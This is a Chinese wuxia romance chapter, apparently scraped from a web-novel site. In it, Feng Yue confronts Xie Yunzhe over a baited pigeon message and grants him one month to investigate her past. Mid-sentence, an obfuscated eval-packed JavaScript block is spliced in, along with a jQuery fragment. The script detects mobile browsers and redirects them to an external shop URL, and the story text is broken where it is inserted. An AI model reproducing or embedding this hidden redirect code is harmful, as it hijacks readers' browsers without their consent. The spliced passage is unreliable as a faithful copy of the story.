封月在灌木丛里找到那只信鸽时,它正扑棱着受伤的翅膀,鼓着一双绿豆眼警惕地瞅着来人,咕咕叫个不停。
封月一伸出手,尖利的鸟喙就立刻啄了上来,那张牙舞爪的样子,凶悍极了,与它在某人手中温顺的样子,全然不同。
封月勾唇冷笑,果然和它的主人一样,两面三刀。
她看准时机,一把捏住那只乱扑的翅膀,将挣扎着的鸟儿倒提在手里,拇指一推,卸下那只绑在腿杆上的细小竹管。
不出她所料,竹管里果然倒出了一张卷着的纸条儿。
上头赫然写着几个字:
秋日干燥,气大伤身。
这哪里是什么与人联络的密信,一字一句,分明是说给她听的,显然是他为了引她出手刻意放出的诱饵!
他就这么笃定,她会上钩?
封月气得指尖发颤,猛地把手里的纸条儿揉成一团,狠狠摔到地上,咬牙切齿的骂道:“谢云遮,你耍我是吧……”
这股被人戏弄的怒火,在她胸腔里只燃了一息,很快便冷静了下来。
这一回,他主动试探,又是出于什么目的?
若只是拿回玉佩,他分明有很多机会可以动手,为何费尽心思,非得留下不可……
他的真实意图究竟是什么?
一重又一重的疑问锁在她的心头,让她不得不开始审视二人之间搁置已久的恩怨。
从遇见他开始,他就知道她并非常人,被追杀,被跟踪,再到虎啸崖上的一战,她一直没有将他放在心上。后来在山神庙偶遇,她取走他的师门印信,他才算真正和她开始了交锋,一面与她虚以委蛇,一面设局算计。
他们二人之间,互相利用了太多次,是非对错早已分不清。
但他这一次登堂入室,离间她的家人,试图让她暴露身份的这口气,她决不会这么轻易咽下。
他知道的太多了,手段又足够阴险,她就是轻信了他,才会行差踏错,一步步走进了他精心设计的陷阱里。
她很珍惜和家人之间的感情,她不想也不敢去赌,她很清楚自己不可能每一次都能补救回来。
如今,是时候和他谈一谈了……
封月思定后,便取出一根细绳将这只倒霉的鸽子五花大绑了起来,握在手中慢慢往回走。
她踏进穿堂,一脚踢开那扇半掩着的木门。
“你来了……”
一道干涩的声音也随之响起。
封月凝眸看去,他负手立在床榻前,眉头轻蹙,好似等了很久。
“故意传信,引我出手,你又想耍什么花招?”封月立在门前的那片光亮里,声线却比积年寒霜还要冷。
谢云遮深深看了她一眼,沉声道:“若非如此,封姑娘可愿与谢某说半个字?”
封月像是听到了什么天大的笑话似的,眯起了眼睛,唇角勾起一片冷漠的嘲意,“谢公子这话就说得让人有些匪夷所思了,你当日机关算尽,就没算到今时今日的处境?你以为你是谁?披着这张谢三郎的皮,就真当自己是那个下山入世的小道士了吗?
“那日,我不杀你,并不是我杀不了你。”
谢云遮目光灼灼的看着她,良久,才吐出一句:“那日是我之过,不该……”
“够了!我过来不是听你说这些废话的。”封月打断他,冷声道:“谢云遮,我们敞开天窗说亮话,你费尽心机演这么一出,到底图什么?”
她顿了顿,眸中尽是讥讽的笑意,“总不会是真看上我这山野村姑,打算假戏真做,在我家当一辈子上门女婿吧?”
他站在原地,神情微变。
那双狭长的凤眸中似攒着一股压制不住的愠怒,他冷声道:“封姑娘,请自重。”
封月却嗤笑一声:“自重?谢公子与我谈自重?你处心积虑算计我家人时,可想过自重二字?”
谢云遮:“那是……”
“那是什么?”封月根本不给他开口的机会,步步紧逼,“不得已?苦衷?还是谢公子所谓的权宜之计?”
封月死死地盯着他,厉声道:“我不管你有什么理由,我只知道,你碰了我的底线。”
二人对视,此时已是剑拔弩张。
谢云遮垂眸看去,将她这张盛满怒火的面庞刻在眼里。
在她身上,他见到那种出身乡野,未经驯化的悍烈,与他此生见过的所有女子都不同。
这种不同,让他呼吸微窒。
他再一次感受到了某种认知上的倾塌,如同虎啸崖上,差点割破他喉咙的那一刀。
半晌,他终于开了口,清冷声线中多了一丝压抑的暗哑,“我承认,用这种方式留下,是下策。”
“下策?”封月挑眉,“我还以为谢公子算无遗策呢。”
谢云遮袖中的手指微蜷,语气却依旧平静:“再精密的算计,也有疏漏。比如,我低估了你对家人的在意。”
“这不是疏漏。”
封月冷冷道,“是你根本没将他们的感受放在眼里。在你看来,他们不过是达成目的可以随意摆弄的棋子,对吗?”
谢云遮沉默了一息,坦率认下:“是。”
封月嗤笑一声,没料到他承认得如此干脆。
“但现在不是。”谢云遮继续道,“因为棋子不会在你愤怒时让我感到……棘手。”
不是愧疚,不是抱歉,是“棘手”。
封月听懂了这层意思,那是一种更冰冷的观察,如同她当初将他视作能催生出剑气的实验品一样。
“所以,”她缓缓道,“你现在意识到,这步棋走错了?”
谢云遮颔首,“是,代价超出预期。”
谢云遮不再看她,转而投向那一扇支起的木窗,眉眼间甚是冷清。
他自顾自地说:“我五岁入霜剑山庄,十二岁记入师父门下,十七岁那年,第一次下山历练,便独闯黑风寨,一人一剑,挑了寨中三十七名匪首。江湖中人提起谢云遮,说得最多的是‘天纵奇才’、‘剑道无双’、‘谢氏麒麟儿’。这些名头,我担得起,也从未觉得有什么不妥。”
他转过身,看向封月,目光深不见底,“直到我遇见你……”
封月心尖莫名一颤。
“虎啸崖上,你破我剑势。山神庙中,你夺我印信。”
谢云遮往前走了一步,此刻两人的距离极近,近到能看清她眼中自己的倒影,“你让我第一次知道,原来这世上,有人可以完全不在我的预料之中。”
他的语气依旧平静,可封月却从中听出了一丝极其细微的连他自己可能都未察觉的不甘。
封月几乎可以替他作答,她淡淡道:“所以你想弄清楚我到底是什么人,为什么能破你的剑,为什么会有那么好的身手,这才是你留
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084883|193741||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下的真正目的?”
“没错。”谢云遮毫不避讳,“玉佩要拿回,你的来历也要查清。这两件事,对我同样重要。”
封月冷笑道:“那你何必绕这么大圈子?以你谢公子的本事,夜探、跟踪、下药……哪种不行?非得用最恶心人的方式?”
谢云遮静默地看着她。
良久,他才缓缓道:“因为那些方式,都会让你更警惕,更防备,离真相更远。”
“而现在这种方式就不会?”封月反问。
“至少,”谢云遮顿了顿,“你能与我像现在这样说话。”
封月怔住了。
这话太直白,直白到让她一时不知该如何回应。
她忽然意识到,眼前这个男人,或许比她想象的更骄傲,也更固执。
他宁愿用这种难看的方式,换一个正面交锋的机会,也不愿在暗处做一个真正的窥探者。
这算是什么?世家子弟莫名其妙的体面?
“所以你就宁可让我恨你?”她只觉得他可笑至极。
“恨也好,厌也罢。”他的目光落在她手里的信鸽上,声音越来越轻,“总好过……视若无睹。”
封月几乎立刻就明白他的意思,他是在为这几天她的刻意冷落表达不满,同时,她也为自己能立刻理解他而感到烦躁。
她皱着眉,想说些什么,最终还是咽了下去。
屋内安静得只剩下二人的呼吸,窗外有风,吹得树叶沙沙响动。
许久,封月才开了口,她问:“你想怎么查?”
谢云遮抬眸看她,语气认真无比,“光明正大的查,以谢三郎的身份。你可以防备,可以试探,甚至可以像这几日一样给我使绊子。但给我一个机会,一个能看清你究竟是谁的机会。而我,以剑心立誓,绝不伤害你的家人,也绝不泄露你的秘密。待我查清想查之事,自会离开。届时,玉佩还我,我们两清。”
封月沉默不语。
她忽然觉得自己有点看不懂他了,这身粗布旧衣,似乎裹着的还是那一身独属于他的傲骨。
他算计她,却也坦承算计;他利用她,却又不屑于完全藏身暗处;他骄傲得近乎可恶,可这份骄傲里,又偏偏带着一种奇怪的纯粹?
封月:“如果我拒绝呢?”
谢云遮:“那你现在就可以杀了我,或者把我扫地出门。但,你想好如何向你爹娘解释了吗?”
他顿了顿,补充道:“即便你能解释清楚,他们心里也会永远留下一个疑问。这,是你想要的?”
封月紧抿着唇,心口蓦地一紧。
他知道她的软肋在哪里。
一直都知道。
许久,她终于开了口,“好,我给你一个月。”
“一个月内,你可以查,可以看。但必须遵守你的誓言,不碰我家人,不泄露秘密。一个月后,无论结果如何,你都必须离开,你的东西,我会在你走时还给你。”
“成交。”谢云遮应得干脆。
见事情谈妥,封月便不再多言,径直转身踏出门外。
此时,窗外的太阳又往西挪了几寸,山林里格外幽寂。
谢云遮沉默地立在房中,许久未动。如今僵局已被打破,但他心口处却总觉得空落落的,像是有什么东西被挖走了一块似的。
或许,从这一刻起,有些东西再也回不去了。